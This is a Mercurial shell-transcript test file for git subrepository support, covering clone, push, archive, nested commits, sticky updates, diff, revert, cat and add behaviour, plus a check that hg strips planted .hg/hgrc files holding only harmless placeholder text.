180 180 pulling subrepo s from $TESTTMP/gitroot
181 181 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
182 182 (branch merge, don't forget to commit)
183 183 $ hg st --subrepos s
184 184 A s/f
185 185 $ cat s/f
186 186 f
187 187 $ cat s/g
188 188 g
189 189 gg
190 190 ggg
191 191 $ hg commit --subrepos -m 'merge'
192 192 committing subrepository s
193 193 $ hg status --subrepos --rev 1:5
194 194 M .hgsubstate
195 195 M s/g
196 196 A s/f
197 197 $ hg debugsub
198 198 path s
199 199 source ../gitroot
200 200 revision f47b465e1bce645dbf37232a00574aa1546ca8d3
201 201 $ hg push 2>/dev/null
202 202 pushing to $TESTTMP/t (glob)
203 203 pushing branch testing of subrepository "s"
204 204 searching for changes
205 205 adding changesets
206 206 adding manifests
207 207 adding file changes
208 208 added 2 changesets with 2 changes to 1 files
209 209
210 210 make upstream git changes
211 211
212 212 $ cd ..
213 213 $ git clone -q gitroot gitclone
214 214 $ cd gitclone
215 215 $ echo ff >> f
216 216 $ git commit -q -a -m ff
217 217 $ echo fff >> f
218 218 $ git commit -q -a -m fff
219 219 $ git push origin testing 2>/dev/null
220 220
221 221 make and push changes to hg without updating the subrepo
222 222
223 223 $ cd ../t
224 224 $ hg clone . ../td 2>&1 | egrep -v '^Cloning into|^done\.'
225 225 updating to branch default
226 226 cloning subrepo s from $TESTTMP/gitroot
227 227 checking out detached HEAD in subrepository "s"
228 228 check out a git branch if you intend to make changes
229 229 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
230 230 $ cd ../td
231 231 $ echo aa >> a
232 232 $ hg commit -m aa
233 233 $ hg push
234 234 pushing to $TESTTMP/t (glob)
235 235 searching for changes
236 236 adding changesets
237 237 adding manifests
238 238 adding file changes
239 239 added 1 changesets with 1 changes to 1 files
240 240
241 241 sync to upstream git, distribute changes
242 242
243 243 $ cd ../ta
244 244 $ hg pull -u -q
245 245 $ cd s
246 246 $ git pull -q >/dev/null 2>/dev/null
247 247 $ cd ..
248 248 $ hg commit -m 'git upstream sync'
249 249 $ hg debugsub
250 250 path s
251 251 source ../gitroot
252 252 revision 32a343883b74769118bb1d3b4b1fbf9156f4dddc
253 253 $ hg push -q
254 254
255 255 $ cd ../tb
256 256 $ hg pull -q
257 257 $ hg update 2>/dev/null
258 258 pulling subrepo s from $TESTTMP/gitroot
259 259 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
260 260 $ hg debugsub
261 261 path s
262 262 source ../gitroot
263 263 revision 32a343883b74769118bb1d3b4b1fbf9156f4dddc
264 264
265 265 create a new git branch
266 266
267 267 $ cd s
268 268 $ git checkout -b b2
269 269 Switched to a new branch 'b2'
270 270 $ echo a>a
271 271 $ git add a
272 272 $ git commit -qm 'add a'
273 273 $ cd ..
274 274 $ hg commit -m 'add branch in s'
275 275
276 276 pulling new git branch should not create tracking branch named 'origin/b2'
277 277 (issue3870)
278 278 $ cd ../td/s
279 279 $ git remote set-url origin $TESTTMP/tb/s
280 280 $ git branch --no-track oldtesting
281 281 $ cd ..
282 282 $ hg pull -q ../tb
283 283 $ hg up
284 284 From $TESTTMP/tb/s
285 285 * [new branch] b2 -> origin/b2
286 286 Previous HEAD position was f47b465... merge
287 287 Switched to a new branch 'b2'
288 288 pulling subrepo s from $TESTTMP/tb/s
289 289 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
290 290
291 291 update to a revision without the subrepo, keeping the local git repository
292 292
293 293 $ cd ../t
294 294 $ hg up 0
295 295 0 files updated, 0 files merged, 2 files removed, 0 files unresolved
296 296 $ ls -a s
297 297 .
298 298 ..
299 299 .git
300 300
301 301 $ hg up 2
302 302 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
303 303 $ ls -a s
304 304 .
305 305 ..
306 306 .git
307 307 g
308 308
309 309 archive subrepos
310 310
311 311 $ cd ../tc
312 312 $ hg pull -q
313 313 $ hg archive --subrepos -r 5 ../archive 2>/dev/null
314 314 pulling subrepo s from $TESTTMP/gitroot
315 315 $ cd ../archive
316 316 $ cat s/f
317 317 f
318 318 $ cat s/g
319 319 g
320 320 gg
321 321 ggg
322 322
323 323 $ hg -R ../tc archive --subrepo -r 5 -X ../tc/**f ../archive_x 2>/dev/null
324 324 $ find ../archive_x | sort | grep -v pax_global_header
325 325 ../archive_x
326 326 ../archive_x/.hg_archival.txt
327 327 ../archive_x/.hgsub
328 328 ../archive_x/.hgsubstate
329 329 ../archive_x/a
330 330 ../archive_x/s
331 331 ../archive_x/s/g
332 332
333 333 $ hg -R ../tc archive -S ../archive.tgz --prefix '.' 2>/dev/null
334 334 $ tar -tzf ../archive.tgz | sort | grep -v pax_global_header
335 335 .hg_archival.txt
336 336 .hgsub
337 337 .hgsubstate
338 338 a
339 339 s/g
340 340
341 341 create nested repo
342 342
343 343 $ cd ..
344 344 $ hg init outer
345 345 $ cd outer
346 346 $ echo b>b
347 347 $ hg add b
348 348 $ hg commit -m b
349 349
350 350 $ hg clone ../t inner 2> /dev/null
351 351 updating to branch default
352 352 cloning subrepo s from $TESTTMP/gitroot
353 353 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
354 354 $ echo inner = inner > .hgsub
355 355 $ hg add .hgsub
356 356 $ hg commit -m 'nested sub'
357 357
358 358 nested commit
359 359
360 360 $ echo ffff >> inner/s/f
361 361 $ hg status --subrepos
362 362 M inner/s/f
363 363 $ hg commit --subrepos -m nested
364 364 committing subrepository inner
365 365 committing subrepository inner/s (glob)
366 366
367 367 nested archive
368 368
369 369 $ hg archive --subrepos ../narchive
370 370 $ ls ../narchive/inner/s | grep -v pax_global_header
371 371 f
372 372 g
373 373
374 374 relative source expansion
375 375
376 376 $ cd ..
377 377 $ mkdir d
378 378 $ hg clone t d/t 2> /dev/null
379 379 updating to branch default
380 380 cloning subrepo s from $TESTTMP/gitroot
381 381 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
382 382
383 383 Don't crash if the subrepo is missing
384 384
385 385 $ hg clone t missing -q
386 386 $ cd missing
387 387 $ rm -rf s
388 388 $ hg status -S
389 389 $ hg sum | grep commit
390 390 commit: 1 subrepos
391 391 $ hg push -q
392 392 abort: subrepo s is missing (in subrepository "s")
393 393 [255]
394 394 $ hg commit --subrepos -qm missing
395 395 abort: subrepo s is missing (in subrepository "s")
396 396 [255]
397 397
398 398 #if symlink
399 399 Don't crash if subrepo is a broken symlink
400 400 $ ln -s broken s
401 401 $ hg status -S
402 402 $ hg push -q
403 403 abort: subrepo s is missing (in subrepository "s")
404 404 [255]
405 405 $ hg commit --subrepos -qm missing
406 406 abort: subrepo s is missing (in subrepository "s")
407 407 [255]
408 408 $ rm s
409 409 #endif
410 410
411 411 $ hg update -C 2> /dev/null
412 412 cloning subrepo s from $TESTTMP/gitroot
413 413 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
414 414 $ hg sum | grep commit
415 415 commit: (clean)
416 416
417 417 Don't crash if the .hgsubstate entry is missing
418 418
419 419 $ hg update 1 -q
420 420 $ hg rm .hgsubstate
421 421 $ hg commit .hgsubstate -m 'no substate'
422 422 nothing changed
423 423 [1]
424 424 $ hg tag -l nosubstate
425 425 $ hg manifest
426 426 .hgsub
427 427 .hgsubstate
428 428 a
429 429
430 430 $ hg status -S
431 431 R .hgsubstate
432 432 $ hg sum | grep commit
433 433 commit: 1 removed, 1 subrepos (new branch head)
434 434
435 435 $ hg commit -m 'restore substate'
436 436 nothing changed
437 437 [1]
438 438 $ hg manifest
439 439 .hgsub
440 440 .hgsubstate
441 441 a
442 442 $ hg sum | grep commit
443 443 commit: 1 removed, 1 subrepos (new branch head)
444 444
445 445 $ hg update -qC nosubstate
446 446 $ ls s
447 447 g
448 448
449 449 issue3109: false positives in git diff-index
450 450
451 451 $ hg update -q
452 452 $ touch -t 200001010000 s/g
453 453 $ hg status --subrepos
454 454 $ touch -t 200001010000 s/g
455 455 $ hg sum | grep commit
456 456 commit: (clean)
457 457
458 458 Check hg update --clean
459 459 $ cd $TESTTMP/ta
460 460 $ echo > s/g
461 461 $ cd s
462 462 $ echo c1 > f1
463 463 $ echo c1 > f2
464 464 $ git add f1
465 465 $ cd ..
466 466 $ hg status -S
467 467 M s/g
468 468 A s/f1
469 469 ? s/f2
470 470 $ ls s
471 471 f
472 472 f1
473 473 f2
474 474 g
475 475 $ hg update --clean
476 476 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
477 477 $ hg status -S
478 478 ? s/f1
479 479 ? s/f2
480 480 $ ls s
481 481 f
482 482 f1
483 483 f2
484 484 g
485 485
486 486 Sticky subrepositories, no changes
487 487 $ cd $TESTTMP/ta
488 488 $ hg id -n
489 489 7
490 490 $ cd s
491 491 $ git rev-parse HEAD
492 492 32a343883b74769118bb1d3b4b1fbf9156f4dddc
493 493 $ cd ..
494 494 $ hg update 1 > /dev/null 2>&1
495 495 $ hg id -n
496 496 1
497 497 $ cd s
498 498 $ git rev-parse HEAD
499 499 da5f5b1d8ffcf62fb8327bcd3c89a4367a6018e7
500 500 $ cd ..
501 501
502 502 Sticky subrepositories, file changes
503 503 $ touch s/f1
504 504 $ cd s
505 505 $ git add f1
506 506 $ cd ..
507 507 $ hg id -n
508 508 1+
509 509 $ cd s
510 510 $ git rev-parse HEAD
511 511 da5f5b1d8ffcf62fb8327bcd3c89a4367a6018e7
512 512 $ cd ..
513 513 $ hg update 4
514 514 subrepository s diverged (local revision: da5f5b1, remote revision: aa84837)
515 515 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
516 516 subrepository sources for s differ
517 517 use (l)ocal source (da5f5b1) or (r)emote source (aa84837)? l
518 518 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
519 519 $ hg id -n
520 520 4+
521 521 $ cd s
522 522 $ git rev-parse HEAD
523 523 da5f5b1d8ffcf62fb8327bcd3c89a4367a6018e7
524 524 $ cd ..
525 525 $ hg update --clean tip > /dev/null 2>&1
526 526
527 527 Sticky subrepository, revision updates
528 528 $ hg id -n
529 529 7
530 530 $ cd s
531 531 $ git rev-parse HEAD
532 532 32a343883b74769118bb1d3b4b1fbf9156f4dddc
533 533 $ cd ..
534 534 $ cd s
535 535 $ git checkout aa84837ccfbdfedcdcdeeedc309d73e6eb069edc
536 536 Previous HEAD position was 32a3438... fff
537 537 HEAD is now at aa84837... f
538 538 $ cd ..
539 539 $ hg update 1
540 540 subrepository s diverged (local revision: 32a3438, remote revision: da5f5b1)
541 541 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
542 542 subrepository sources for s differ (in checked out version)
543 543 use (l)ocal source (32a3438) or (r)emote source (da5f5b1)? l
544 544 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
545 545 $ hg id -n
546 546 1+
547 547 $ cd s
548 548 $ git rev-parse HEAD
549 549 aa84837ccfbdfedcdcdeeedc309d73e6eb069edc
550 550 $ cd ..
551 551
552 552 Sticky subrepository, file changes and revision updates
553 553 $ touch s/f1
554 554 $ cd s
555 555 $ git add f1
556 556 $ git rev-parse HEAD
557 557 aa84837ccfbdfedcdcdeeedc309d73e6eb069edc
558 558 $ cd ..
559 559 $ hg id -n
560 560 1+
561 561 $ hg update 7
562 562 subrepository s diverged (local revision: 32a3438, remote revision: 32a3438)
563 563 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
564 564 subrepository sources for s differ
565 565 use (l)ocal source (32a3438) or (r)emote source (32a3438)? l
566 566 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
567 567 $ hg id -n
568 568 7+
569 569 $ cd s
570 570 $ git rev-parse HEAD
571 571 aa84837ccfbdfedcdcdeeedc309d73e6eb069edc
572 572 $ cd ..
573 573
574 574 Sticky repository, update --clean
575 575 $ hg update --clean tip 2>/dev/null
576 576 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
577 577 $ hg id -n
578 578 7
579 579 $ cd s
580 580 $ git rev-parse HEAD
581 581 32a343883b74769118bb1d3b4b1fbf9156f4dddc
582 582 $ cd ..
583 583
584 584 Test subrepo already at intended revision:
585 585 $ cd s
586 586 $ git checkout 32a343883b74769118bb1d3b4b1fbf9156f4dddc
587 587 HEAD is now at 32a3438... fff
588 588 $ cd ..
589 589 $ hg update 1
590 590 Previous HEAD position was 32a3438... fff
591 591 HEAD is now at da5f5b1... g
592 592 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
593 593 $ hg id -n
594 594 1
595 595 $ cd s
596 596 $ git rev-parse HEAD
597 597 da5f5b1d8ffcf62fb8327bcd3c89a4367a6018e7
598 598 $ cd ..
599 599
600 600 Test forgetting files, not implemented in git subrepo, used to
601 601 traceback
602 602 #if no-windows
603 603 $ hg forget 'notafile*'
604 604 notafile*: No such file or directory
605 605 [1]
606 606 #else
607 607 $ hg forget 'notafile'
608 608 notafile: * (glob)
609 609 [1]
610 610 #endif
611 611
612 612 $ cd ..
613 613
614 614 Test sanitizing ".hg/hgrc" in subrepo
615 615
616 616 $ cd t
617 617 $ hg tip -q
618 618 7:af6d2edbb0d3
619 619 $ hg update -q -C af6d2edbb0d3
620 620 $ cd s
621 621 $ git checkout -q -b sanitize-test
622 622 $ mkdir .hg
623 623 $ echo '.hg/hgrc in git repo' > .hg/hgrc
624 624 $ mkdir -p sub/.hg
625 625 $ echo 'sub/.hg/hgrc in git repo' > sub/.hg/hgrc
626 626 $ git add .hg sub
627 627 $ git commit -qm 'add .hg/hgrc to be sanitized at hg update'
628 628 $ git push -q origin sanitize-test
629 629 $ cd ..
630 630 $ grep ' s$' .hgsubstate
631 631 32a343883b74769118bb1d3b4b1fbf9156f4dddc s
632 632 $ hg commit -qm 'commit with git revision including .hg/hgrc'
633 633 $ hg parents -q
634 634 8:3473d20bddcf
635 635 $ grep ' s$' .hgsubstate
636 636 c4069473b459cf27fd4d7c2f50c4346b4e936599 s
637 637 $ cd ..
638 638
639 639 $ hg -R tc pull -q
640 640 $ hg -R tc update -q -C 3473d20bddcf 2>&1 | sort
641 641 warning: removing potentially hostile 'hgrc' in '$TESTTMP/tc/s/.hg' (glob)
642 642 warning: removing potentially hostile 'hgrc' in '$TESTTMP/tc/s/sub/.hg' (glob)
643 643 $ cd tc
644 644 $ hg parents -q
645 645 8:3473d20bddcf
646 646 $ grep ' s$' .hgsubstate
647 647 c4069473b459cf27fd4d7c2f50c4346b4e936599 s
648 648 $ test -f s/.hg/hgrc
649 649 [1]
650 650 $ test -f s/sub/.hg/hgrc
651 651 [1]
652 652 $ cd ..
653 653
654 654 additional test for "git merge --ff" route:
655 655
656 656 $ cd t
657 657 $ hg tip -q
658 658 8:3473d20bddcf
659 659 $ hg update -q -C af6d2edbb0d3
660 660 $ cd s
661 661 $ git checkout -q testing
662 662 $ mkdir .hg
663 663 $ echo '.hg/hgrc in git repo' > .hg/hgrc
664 664 $ mkdir -p sub/.hg
665 665 $ echo 'sub/.hg/hgrc in git repo' > sub/.hg/hgrc
666 666 $ git add .hg sub
667 667 $ git commit -qm 'add .hg/hgrc to be sanitized at hg update (git merge --ff)'
668 668 $ git push -q origin testing
669 669 $ cd ..
670 670 $ grep ' s$' .hgsubstate
671 671 32a343883b74769118bb1d3b4b1fbf9156f4dddc s
672 672 $ hg commit -qm 'commit with git revision including .hg/hgrc'
673 673 $ hg parents -q
674 674 9:ed23f7fe024e
675 675 $ grep ' s$' .hgsubstate
676 676 f262643c1077219fbd3858d54e78ef050ef84fbf s
677 677 $ cd ..
678 678
679 679 $ cd tc
680 680 $ hg update -q -C af6d2edbb0d3
681 681 $ test -f s/.hg/hgrc
682 682 [1]
683 683 $ test -f s/sub/.hg/hgrc
684 684 [1]
685 685 $ cd ..
686 686 $ hg -R tc pull -q
687 687 $ hg -R tc update -q -C ed23f7fe024e 2>&1 | sort
688 688 warning: removing potentially hostile 'hgrc' in '$TESTTMP/tc/s/.hg' (glob)
689 689 warning: removing potentially hostile 'hgrc' in '$TESTTMP/tc/s/sub/.hg' (glob)
690 690 $ cd tc
691 691 $ hg parents -q
692 692 9:ed23f7fe024e
693 693 $ grep ' s$' .hgsubstate
694 694 f262643c1077219fbd3858d54e78ef050ef84fbf s
695 695 $ test -f s/.hg/hgrc
696 696 [1]
697 697 $ test -f s/sub/.hg/hgrc
698 698 [1]
699 699
700 700 Test that sanitizing is omitted in meta data area:
701 701
702 702 $ mkdir s/.git/.hg
703 703 $ echo '.hg/hgrc in git metadata area' > s/.git/.hg/hgrc
704 704 $ hg update -q -C af6d2edbb0d3
705 705 checking out detached HEAD in subrepository "s"
706 706 check out a git branch if you intend to make changes
707 707
708 708 check differences made by most recent change
709 709 $ cd s
710 710 $ cat > foobar << EOF
711 711 > woopwoop
712 712 >
713 713 > foo
714 714 > bar
715 715 > EOF
716 716 $ git add foobar
717 717 $ cd ..
718 718
719 719 $ hg diff --subrepos
720 720 diff --git a/s/foobar b/s/foobar
721 721 new file mode 100644
722 722 index 0000000..8a5a5e2
723 723 --- /dev/null
724 724 +++ b/s/foobar
725 725 @@ -0,0 +1,4 @@
726 726 +woopwoop
727 727 +
728 728 +foo
729 729 +bar
730 730
731 731 $ hg commit --subrepos -m "Added foobar"
732 732 committing subrepository s
733 733 created new head
734 734
735 735 $ hg diff -c . --subrepos --nodates
736 736 diff -r af6d2edbb0d3 -r 255ee8cf690e .hgsubstate
737 737 --- a/.hgsubstate
738 738 +++ b/.hgsubstate
739 739 @@ -1,1 +1,1 @@
740 740 -32a343883b74769118bb1d3b4b1fbf9156f4dddc s
741 741 +fd4dbf828a5b2fcd36b2bcf21ea773820970d129 s
742 742 diff --git a/s/foobar b/s/foobar
743 743 new file mode 100644
744 744 index 0000000..8a5a5e2
745 745 --- /dev/null
746 746 +++ b/s/foobar
747 747 @@ -0,0 +1,4 @@
748 748 +woopwoop
749 749 +
750 750 +foo
751 751 +bar
752 752
753 753 check output when only diffing the subrepository
754 754 $ hg diff -c . --subrepos s
755 755 diff --git a/s/foobar b/s/foobar
756 756 new file mode 100644
757 757 index 0000000..8a5a5e2
758 758 --- /dev/null
759 759 +++ b/s/foobar
760 760 @@ -0,0 +1,4 @@
761 761 +woopwoop
762 762 +
763 763 +foo
764 764 +bar
765 765
766 766 check output when diffing something else
767 767 $ hg diff -c . --subrepos .hgsubstate --nodates
768 768 diff -r af6d2edbb0d3 -r 255ee8cf690e .hgsubstate
769 769 --- a/.hgsubstate
770 770 +++ b/.hgsubstate
771 771 @@ -1,1 +1,1 @@
772 772 -32a343883b74769118bb1d3b4b1fbf9156f4dddc s
773 773 +fd4dbf828a5b2fcd36b2bcf21ea773820970d129 s
774 774
775 775 add new changes, including whitespace
776 776 $ cd s
777 777 $ cat > foobar << EOF
778 778 > woop woop
779 779 >
780 780 > foo
781 781 > bar
782 782 > EOF
783 783 $ echo foo > barfoo
784 784 $ git add barfoo
785 785 $ cd ..
786 786
787 787 $ hg diff --subrepos --ignore-all-space
788 788 diff --git a/s/barfoo b/s/barfoo
789 789 new file mode 100644
790 790 index 0000000..257cc56
791 791 --- /dev/null
792 792 +++ b/s/barfoo
793 793 @@ -0,0 +1* @@ (glob)
794 794 +foo
795 795 $ hg diff --subrepos s/foobar
796 796 diff --git a/s/foobar b/s/foobar
797 797 index 8a5a5e2..bd5812a 100644
798 798 --- a/s/foobar
799 799 +++ b/s/foobar
800 800 @@ -1,4 +1,4 @@
801 801 -woopwoop
802 802 +woop woop
803 803
804 804 foo
805 805 bar
806 806
807 807 execute a diffstat
808 808 the output contains a regex, because git 1.7.10 and 1.7.11
809 809 change the amount of whitespace
810 810 $ hg diff --subrepos --stat
811 811 \s*barfoo |\s*1 + (re)
812 812 \s*foobar |\s*2 +- (re)
813 813 2 files changed, 2 insertions\(\+\), 1 deletions?\(-\) (re)
814 814
815 815 adding an include should ignore the other elements
816 816 $ hg diff --subrepos -I s/foobar
817 817 diff --git a/s/foobar b/s/foobar
818 818 index 8a5a5e2..bd5812a 100644
819 819 --- a/s/foobar
820 820 +++ b/s/foobar
821 821 @@ -1,4 +1,4 @@
822 822 -woopwoop
823 823 +woop woop
824 824
825 825 foo
826 826 bar
827 827
828 828 adding an exclude should ignore this element
829 829 $ hg diff --subrepos -X s/foobar
830 830 diff --git a/s/barfoo b/s/barfoo
831 831 new file mode 100644
832 832 index 0000000..257cc56
833 833 --- /dev/null
834 834 +++ b/s/barfoo
835 835 @@ -0,0 +1* @@ (glob)
836 836 +foo
837 837
838 838 moving a file should show a removal and an add
839 839 $ hg revert --all
840 840 reverting subrepo ../gitroot
841 841 $ cd s
842 842 $ git mv foobar woop
843 843 $ cd ..
844 844 $ hg diff --subrepos
845 845 diff --git a/s/foobar b/s/foobar
846 846 deleted file mode 100644
847 847 index 8a5a5e2..0000000
848 848 --- a/s/foobar
849 849 +++ /dev/null
850 850 @@ -1,4 +0,0 @@
851 851 -woopwoop
852 852 -
853 853 -foo
854 854 -bar
855 855 diff --git a/s/woop b/s/woop
856 856 new file mode 100644
857 857 index 0000000..8a5a5e2
858 858 --- /dev/null
859 859 +++ b/s/woop
860 860 @@ -0,0 +1,4 @@
861 861 +woopwoop
862 862 +
863 863 +foo
864 864 +bar
865 865 $ rm s/woop
866 866
867 867 revert the subrepository
868 868 $ hg revert --all
869 869 reverting subrepo ../gitroot
870 870
871 871 $ hg status --subrepos
872 872 ? s/barfoo
873 873 ? s/foobar.orig
874 874
875 875 $ mv s/foobar.orig s/foobar
876 876
877 877 $ hg revert --no-backup s
878 878 reverting subrepo ../gitroot
879 879
880 880 $ hg status --subrepos
881 881 ? s/barfoo
882 882
883 883 revert moves orig files to the right place
884 884 $ echo 'bloop' > s/foobar
885 885 $ hg revert --all --verbose --config 'ui.origbackuppath=.hg/origbackups'
886 886 reverting subrepo ../gitroot
887 887 creating directory: $TESTTMP/tc/.hg/origbackups (glob)
888 888 saving current version of foobar as $TESTTMP/tc/.hg/origbackups/foobar.orig (glob)
889 889 $ ls .hg/origbackups
890 890 foobar.orig
891 891 $ rm -rf .hg/origbackups
892 892
893 893 show file at specific revision
894 894 $ cat > s/foobar << EOF
895 895 > woop woop
896 896 > fooo bar
897 897 > EOF
898 898 $ hg commit --subrepos -m "updated foobar"
899 899 committing subrepository s
900 900 $ cat > s/foobar << EOF
901 901 > current foobar
902 902 > (should not be visible using hg cat)
903 903 > EOF
904 904
905 905 $ hg cat -r . s/foobar
906 906 woop woop
907 907 fooo bar (no-eol)
908 908 $ hg cat -r "parents(.)" s/foobar > catparents
909 909
910 910 $ mkdir -p tmp/s
911 911
912 912 $ hg cat -r "parents(.)" --output tmp/%% s/foobar
913 913 $ diff tmp/% catparents
914 914
915 915 $ hg cat -r "parents(.)" --output tmp/%s s/foobar
916 916 $ diff tmp/foobar catparents
917 917
918 918 $ hg cat -r "parents(.)" --output tmp/%d/otherfoobar s/foobar
919 919 $ diff tmp/s/otherfoobar catparents
920 920
921 921 $ hg cat -r "parents(.)" --output tmp/%p s/foobar
922 922 $ diff tmp/s/foobar catparents
923 923
924 924 $ hg cat -r "parents(.)" --output tmp/%H s/foobar
925 925 $ diff tmp/255ee8cf690ec86e99b1e80147ea93ece117cd9d catparents
926 926
927 927 $ hg cat -r "parents(.)" --output tmp/%R s/foobar
928 928 $ diff tmp/10 catparents
929 929
930 930 $ hg cat -r "parents(.)" --output tmp/%h s/foobar
931 931 $ diff tmp/255ee8cf690e catparents
932 932
933 933 $ rm tmp/10
934 934 $ hg cat -r "parents(.)" --output tmp/%r s/foobar
935 935 $ diff tmp/10 catparents
936 936
937 937 $ mkdir tmp/tc
938 938 $ hg cat -r "parents(.)" --output tmp/%b/foobar s/foobar
939 939 $ diff tmp/tc/foobar catparents
940 940
941 941 cleanup
942 942 $ rm -r tmp
943 943 $ rm catparents
944 944
945 945 add git files, using either files or patterns
946 946 $ echo "hsss! hsssssssh!" > s/snake.python
947 947 $ echo "ccc" > s/c.c
948 948 $ echo "cpp" > s/cpp.cpp
949 949
950 950 $ hg add s/snake.python s/c.c s/cpp.cpp
951 951 $ hg st --subrepos s
952 952 M s/foobar
953 953 A s/c.c
954 954 A s/cpp.cpp
955 955 A s/snake.python
956 956 ? s/barfoo
957 957 $ hg revert s
958 958 reverting subrepo ../gitroot
959 959
960 960 $ hg add --subrepos "glob:**.python"
961 961 adding s/snake.python (glob)
962 962 $ hg st --subrepos s
963 963 A s/snake.python
964 964 ? s/barfoo
965 965 ? s/c.c
966 966 ? s/cpp.cpp
967 967 ? s/foobar.orig
968 968 $ hg revert s
969 969 reverting subrepo ../gitroot
970 970
971 971 $ hg add --subrepos s
972 972 adding s/barfoo (glob)
973 973 adding s/c.c (glob)
974 974 adding s/cpp.cpp (glob)
975 975 adding s/foobar.orig (glob)
976 976 adding s/snake.python (glob)
977 977 $ hg st --subrepos s
978 978 A s/barfoo
979 979 A s/c.c
980 980 A s/cpp.cpp
981 981 A s/foobar.orig
982 982 A s/snake.python
983 983 $ hg revert s
984 984 reverting subrepo ../gitroot
985 985 make sure everything is reverted correctly
986 986 $ hg st --subrepos s
987 987 ? s/barfoo
988 988 ? s/c.c
989 989 ? s/cpp.cpp
990 990 ? s/foobar.orig
991 991 ? s/snake.python
992 992
993 993 $ hg add --subrepos --exclude "path:s/c.c"
994 994 adding s/barfoo (glob)
995 995 adding s/cpp.cpp (glob)
996 996 adding s/foobar.orig (glob)
997 997 adding s/snake.python (glob)
998 998 $ hg st --subrepos s
999 999 A s/barfoo
1000 1000 A s/cpp.cpp
1001 1001 A s/foobar.orig
1002 1002 A s/snake.python
1003 1003 ? s/c.c
1004 1004 $ hg revert --all -q
1005 1005
1006 1006 .hgignore should not have influence in subrepos
1007 1007 $ cat > .hgignore << EOF
1008 1008 > syntax: glob
1009 1009 > *.python
1010 1010 > EOF
1011 1011 $ hg add .hgignore
1012 1012 $ hg add --subrepos "glob:**.python" s/barfoo
1013 1013 adding s/snake.python (glob)
1014 1014 $ hg st --subrepos s
1015 1015 A s/barfoo
1016 1016 A s/snake.python
1017 1017 ? s/c.c
1018 1018 ? s/cpp.cpp
1019 1019 ? s/foobar.orig
1020 1020 $ hg revert --all -q
1021 1021
1022 1022 .gitignore should have influence,
1023 1023 except for explicitly added files (no patterns)
1024 1024 $ cat > s/.gitignore << EOF
1025 1025 > *.python
1026 1026 > EOF
1027 1027 $ hg add s/.gitignore
1028 1028 $ hg st --subrepos s
1029 1029 A s/.gitignore
1030 1030 ? s/barfoo
1031 1031 ? s/c.c
1032 1032 ? s/cpp.cpp
1033 1033 ? s/foobar.orig
1034 1034 $ hg st --subrepos s --all
1035 1035 A s/.gitignore
1036 1036 ? s/barfoo
1037 1037 ? s/c.c
1038 1038 ? s/cpp.cpp
1039 1039 ? s/foobar.orig
1040 1040 I s/snake.python
1041 1041 C s/f
1042 1042 C s/foobar
1043 1043 C s/g
1044 1044 $ hg add --subrepos "glob:**.python"
1045 1045 $ hg st --subrepos s
1046 1046 A s/.gitignore
1047 1047 ? s/barfoo
1048 1048 ? s/c.c
1049 1049 ? s/cpp.cpp
1050 1050 ? s/foobar.orig
1051 1051 $ hg add --subrepos s/snake.python
1052 1052 $ hg st --subrepos s
1053 1053 A s/.gitignore
1054 1054 A s/snake.python
1055 1055 ? s/barfoo
1056 1056 ? s/c.c
1057 1057 ? s/cpp.cpp
1058 1058 ? s/foobar.orig
1059 1059
1060 1060 correctly do a dry run
1061 1061 $ hg add --subrepos s --dry-run
1062 1062 adding s/barfoo (glob)
1063 1063 adding s/c.c (glob)
1064 1064 adding s/cpp.cpp (glob)
1065 1065 adding s/foobar.orig (glob)
1066 1066 $ hg st --subrepos s
1067 1067 A s/.gitignore
1068 1068 A s/snake.python
1069 1069 ? s/barfoo
1070 1070 ? s/c.c
1071 1071 ? s/cpp.cpp
1072 1072 ? s/foobar.orig
1073 1073
1074 1074 error given when adding an already tracked file
1075 1075 $ hg add s/.gitignore
1076 1076 s/.gitignore already tracked!
1077 1077 [1]
1078 1078 $ hg add s/g
1079 1079 s/g already tracked!
1080 1080 [1]
1081 1081
1082 1082 removed files can be re-added
1083 1083 removing files using 'rm' or 'git rm' has the same effect,
1084 1084 since we ignore the staging area
1085 1085 $ hg ci --subrepos -m 'snake'
1086 1086 committing subrepository s
1087 1087 $ cd s
1088 1088 $ rm snake.python
1089 1089 (remove leftover .hg so Mercurial doesn't look for a root here)
1090 1090 $ rm -rf .hg
1091 1091 $ hg status --subrepos --all .
1092 1092 R snake.python
1093 1093 ? barfoo
1094 1094 ? c.c
1095 1095 ? cpp.cpp
1096 1096 ? foobar.orig
1097 1097 C .gitignore
1098 1098 C f
1099 1099 C foobar
1100 1100 C g
1101 1101 $ git rm snake.python
1102 1102 rm 'snake.python'
1103 1103 $ hg status --subrepos --all .
1104 1104 R snake.python
1105 1105 ? barfoo
1106 1106 ? c.c
1107 1107 ? cpp.cpp
1108 1108 ? foobar.orig
1109 1109 C .gitignore
1110 1110 C f
1111 1111 C foobar
1112 1112 C g
1113 1113 $ touch snake.python
1114 1114 $ cd ..
1115 1115 $ hg add s/snake.python
1116 1116 $ hg status -S
1117 1117 M s/snake.python
1118 1118 ? .hgignore
1119 1119 ? s/barfoo
1120 1120 ? s/c.c
1121 1121 ? s/cpp.cpp
1122 1122 ? s/foobar.orig
1123 1123 $ hg revert --all -q
1124 1124
1125 1125 make sure we show changed files, rather than changed subtrees
1126 1126 $ mkdir s/foo
1127 1127 $ touch s/foo/bwuh
1128 1128 $ hg add s/foo/bwuh
1129 1129 $ hg commit -S -m "add bwuh"
1130 1130 committing subrepository s
1131 1131 $ hg status -S --change .
1132 1132 M .hgsubstate
1133 1133 A s/foo/bwuh
1134 1134 ? s/barfoo
1135 1135 ? s/c.c
1136 1136 ? s/cpp.cpp
1137 1137 ? s/foobar.orig
1138 1138 ? s/snake.python.orig
1139 1139
1140 1140 #if git19
1141 1141
